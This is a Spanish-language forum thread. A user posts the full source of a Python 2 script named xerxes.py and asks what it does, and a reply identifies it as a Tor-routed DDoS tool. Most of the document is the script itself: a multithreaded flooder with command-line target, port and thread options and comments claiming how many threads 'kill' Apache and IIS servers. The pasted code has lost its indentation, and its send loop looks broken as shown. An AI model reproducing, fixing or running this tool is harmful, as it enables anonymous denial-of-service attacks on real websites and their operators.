buenas tengo este code quisiera q le ayudaran en saber que es lo que medio hace ya que conozco muy poco de python gracias se los pido
#!/usr/bin/python
# this assumes you have the socks.py (http://phiral.net/socks.py)
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginx
import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal
from threading import Thread
global stop_now
global term
stop_now = False
term = terminal.TerminalController()
class httpPost(Thread):
def __init__(self, host, port, tor):
Thread.__init__(self)
self.host = host
self.port = port
self.socks = socks.socksocket()
self.tor = tor
self.running = True
def _send_http_post(self, pause=10):
global stop_now
while True:
if stop_now:
self.running = False
break
p = "."
print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
self.socks.send(p)
self.socks.close()
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
self.socks.connect((self.host, self.port))
print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
time.sleep(1)
continue
while self.running:
try:
self._send_http_post()
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def usage():
print "./xerxes.py -t <target> [-r <threads> -p <port> -T -h]\n"
def main(argv):
try:
opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
except getopt.GetoptError:
usage()
sys.exit(-1)
global stop_now
target = ''
threads = 256
tor = True
port = 80
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit(0)
if o in ("-T", "--tor"):
tor = True
elif o in ("-t", "--target"):
target = a
elif o in ("-r", "--threads"):
threads = int(a)
elif o in ("-p", "--port"):
port = int(a)
if target == '' or int(threads) <= 0:
usage()
sys.exit(-1)
print term.DOWN + term.RED + "/*" + term.NORMAL
print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
rthreads = []
for i in range(threads):
t = httpPost(target, port, tor)
rthreads.append(t)
t.start()
while len(rthreads) > 0:
try:
rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
except KeyboardInterrupt:
print "\nShutting down threads...\n"
for t in rthreads:
stop_now = True
t.running = False
if __name__ == "__main__":
main(sys.argv[1:])
# this assumes you have the socks.py (http://phiral.net/socks.py)
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginx
corre con 128 to 256 threads para ser efectivo.
mata apache 1.x con ~128[threads], apache 2.X / IIS con ~256
no efectivo en nginx
y por
while True:
if stop_now:
self.running = False
break
p = "."
print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
self.socks.send(p)
self.socks.close()
aumenta la sospecha que es para un ataque DDoS usando tor (cosa que me parece absurdo por lo lento de tor XD primero denegas el servicio a tu servidor de tor que al sitio)
no es necesario saber python :P nunca he programado en el, pero ver un "while true" haciendo peticiones http ya se huele a que va XD
que me corrija aquel que sepa :P